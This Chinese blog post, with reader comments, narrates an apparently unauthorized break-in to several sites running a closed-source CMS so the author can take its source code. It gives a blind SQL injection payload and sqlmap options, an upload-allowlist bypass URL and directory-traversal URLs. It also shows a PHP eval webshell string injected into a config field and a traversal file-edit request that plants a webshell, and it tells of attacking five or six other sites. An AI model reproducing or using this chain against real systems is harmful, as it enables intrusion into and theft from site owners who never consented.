对某CMS的一次简单渗透测试

作者: Luan 分类: 渗透测试 发布时间: 2017-04-27 13:45

好久没有更新博客了,这几天在研究mysql注入,想弄个luanmap玩玩。

写了下mysql的报错注入和union注入,顺便拿公司内网的一个系统测试了下,唯一欠缺的地方就是没有用substr截取结果,有时候报错注入的结果显示长度是有限制的,这东西以后再想吧。

准备开始写下mysql的盲注的,想先互联网上找找案例弄。偶然看别人博客,说XXCMS存在若干SQL注入但文章需要密码访问,于是心里痒痒,想去搞那个CMS的源码审计看看。

那个CMS是不开源的。于是目标就是渗透这种CMS的网站,然后打包下他的网站文件。

此文纯属YY,懂我的意思吧

原文地址:http://lu4n.com/a-simple-pentest-2017-04-27/

目标站:

先对网站进行敏感目录/文件扫描,结果很失望,封IP了。

换个IP继续,速度慢一点,扫了很久就出来个admin.php

其他页面都是静态的。。。

打开admin.php,自然是后台了。

输入admin,admin测试弱口令。

结果还没点登录就提示,请输入正确的密码。

这应该是用js检测密码的长度,换成123456,可以了。

点登录,提示密码错误。然后出来了个验证码。

然后在用户名加个单引号,输入验证码,再提交。

心里想,要是直接给我个报错注入就爽了。

结果提示用户名不存在。

然后验证码居然还不变,,不用想了,能爆破。

但是我的爆破字典比较弱鸡,爆破成功率令人发指。

继续测试了下,admin’or’a’=’a

然后居然提示我密码错误,看来是有盲注了。

盲注比较慢,我优先选择更好的方法。

继续收集信息搞了半天,***的,全是静态页面,还是先去跑盲注吧。

跑注入大家都会。这里用的sqlmap(等我luanmap写完了回头试试)。

有个小技巧就是确定注入类型了,这里可以直接指定–tech B –dbms mysql

表示是MySQL数据库的布尔盲注,比时间延迟注入还是快很多的。

休息了一会儿结果就出来了。

有两个管理员账号,拿去cmd5.com解密还要收费,试试吐司的MD5解密成功得到密码:mima_lu4n.com

拿去登录后台:

功能挺多的,怎么说也是商业CMS吧。如果就一个简单的发布新闻,傻子才买。

继续做测试。先去找上传点。

编辑文章,发现了两个上传点,一个是Kind Editor编辑器的,另一个是这个CMS自己弄的上传缩约图:

在系统设置模块里看到有两个编辑器可选择:

经过测试这两个编辑器都是不能利用的。(开源的就是比不开源的安全点)

使用CMS自己写的上传功能,抓包得到如下URL:

http://lu4n.com/admin.php?m=fupload&a=commonUpload&opener_id=bannerimg1&height=250&width=500&upload_allowext=png|jpg|gif|bmp

老司机们都能直接看出来,这里居然把允许上传的文件后缀放在GET参数里面,明显可以利用嘛。

构造:

http://lu4n.com/admin.php?m=fupload&a=commonUpload&opener_id=bannerimg1&height=250&width=500&upload_allowext=png|jpg|gif|php

可惜,没有那么简单。上传成功后提示成功。可以没回显出路径来..这怎么可能..一定是我打开方式不对吧

然后仔细看了下burp,发现确实没有回显,可是没有回显他是怎么上传缩约图的呢?

跑去上传个缩约图看看。

额。看来是我的burp抓不到flash上传的数据包吧。。

然后点了下站内选择,看看能不能找到我的php shell.

结果很不错。看了眼url,又是个有问题的地方。

构造下URL:

http://lu4n.com/admin.php?m=ffiles&a=images&opener_id=info_thumb&shower_id=&path=%2F2017/../../../../

可以列目录。

先去找找我的shell位置。翻了一会儿在files目录里找到了:

心里一阵暗喜,这垃圾cms。

访问下shell地址:

WTF!?

居然目录设置权限,不能执行PHP脚本,我*你**。

这咋办?

最简单的方法,去找别的站,反正是要CMS的源码,又不是非要这个站的权限,等我拿到源码审计出别的漏洞不就更容易了吗

于是我去搞了5,6个别的站测试,我的内心是崩溃的。

全部都是没有执行脚本的权限。。。唯独有一个不是因为没有执行脚本的权限而失败的

那个站都不能写文件进去…

此路不通换条走了。继续测试,发现了这个:

有些CMS,这里的配置是会写个脚本文件里面的,利用那个列目录的漏洞去列了下目录,发现确实有个配置文件。

大概可能也许这里的内容会写进去(后来读文件看了下确实如此)

把水印路径修改成:

','test'=>"${@eval($_POST['luan'])};",'lu4n.com'=>'

然后去连接config.inc.php

然后,他么失败了。。。改成phpinfo(),访问下发现代码没有被执行。

把config.php,config.cache.php.CopyOfconfig.inc.php都试了,都不行。。大概是把单引号转义了把(后来读文件确实如此)

这个方法又不行,这就他么很操蛋了。

继续测试测试功能,发现了这个:

可以新建页面并且可以插模板。

一开始的思路是,新建luan.php页面,然后写shell进去。

设置页面文件名那里是不能修改后缀的,锁定为html,通过抓包强制修改成php。

结果发现行不通,他不会生成文件,而是把页面文件名和内容写入了数据库,然后通过路由从数据库中读取对应的页面内容,即便我改成了luan.php的后缀也是不行的。

换下思路,这里可以使用模板,也许存在任意文件读取。

列目录找个php文件,填入路径,提示成功,然后去访问URL:

 

他会在模板文件后面添加上.html,抓包分析了下:

把这个ishtml参数改下就可以了,他就不会加.html后缀了。

然后访问我设置的luan.html:

成功读取到文件源码了。

然后我通过这两个漏洞简单读了读这个cms的源码,找到了getshell的方法:

也就是上图中的FtagAction.class.php文件。没有过滤参数,可以修改任意文件的内容。

构造URL访问:

http://lu4n.com/admin.php?m=ftpl&a=edit&filename=/system/../../../../data/CopyOfconfig.inc.php

在这个配置文件里面插入一句话木马,然后菜刀连接,终于成功getshell。

 

 

 

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

18条评论
  • younge

    2017年8月7日 下午1:56

    你好,我想问下大牛用的打包源码的东西方便分享吗?

    1. Luan

      2017年8月9日 上午7:11

      Winrar能命令行执行

  • iSky0t

    2017年8月7日 上午11:36

    学习到了 感谢表哥

  • 百度

    2017年8月7日 上午9:25

    厉害

  • shinyguo

    2017年8月7日 上午7:52

    好文章,思路清晰,学习了。

  • C0d3r1iu

    2017年7月4日 上午4:02

    看大牛的文章,一波三折思路广泛,学习了 //前几天问你要了主题,自己也搭建了一个风格相似的博客~

  • 胶管

    2017年6月21日 下午8:56

    不错的文章,内容横扫千军.

  • 护栏网

    2017年5月27日 上午2:53

    不错的文章,内容惜墨如金

  • 金刚网

    2017年5月24日 上午5:32

    不错的文章,内容雷霆万钧

  • 不锈钢窗纱

    2017年5月22日 下午7:51

    好文章,内容十全十美

  • 铝板网

    2017年5月21日 下午8:47

    好文章,内容层次清晰

  • 硝基漆

    2017年5月17日 下午8:41

    好文章,内容气贯长虹

  • 盖土网

    2017年5月13日 下午2:45

    不错的文章,内容远见卓识

  • 金属软管

    2017年5月13日 上午3:04

    好文章,内容字字珠玉.

  • 玻璃钢格栅盖板

    2017年5月12日 上午10:26

    好文章,内容笔下生辉.

  • 金刚网

    2017年5月11日 下午7:47

    不错的文章.

  • aimorc

    2017年4月28日 上午12:44

    原来不是我运气差,是技术不行。六六六

    1. Luan

      2017年4月28日 上午9:20

      我也是运气不错,那CMS年代久远,漏洞颇多。

发表评论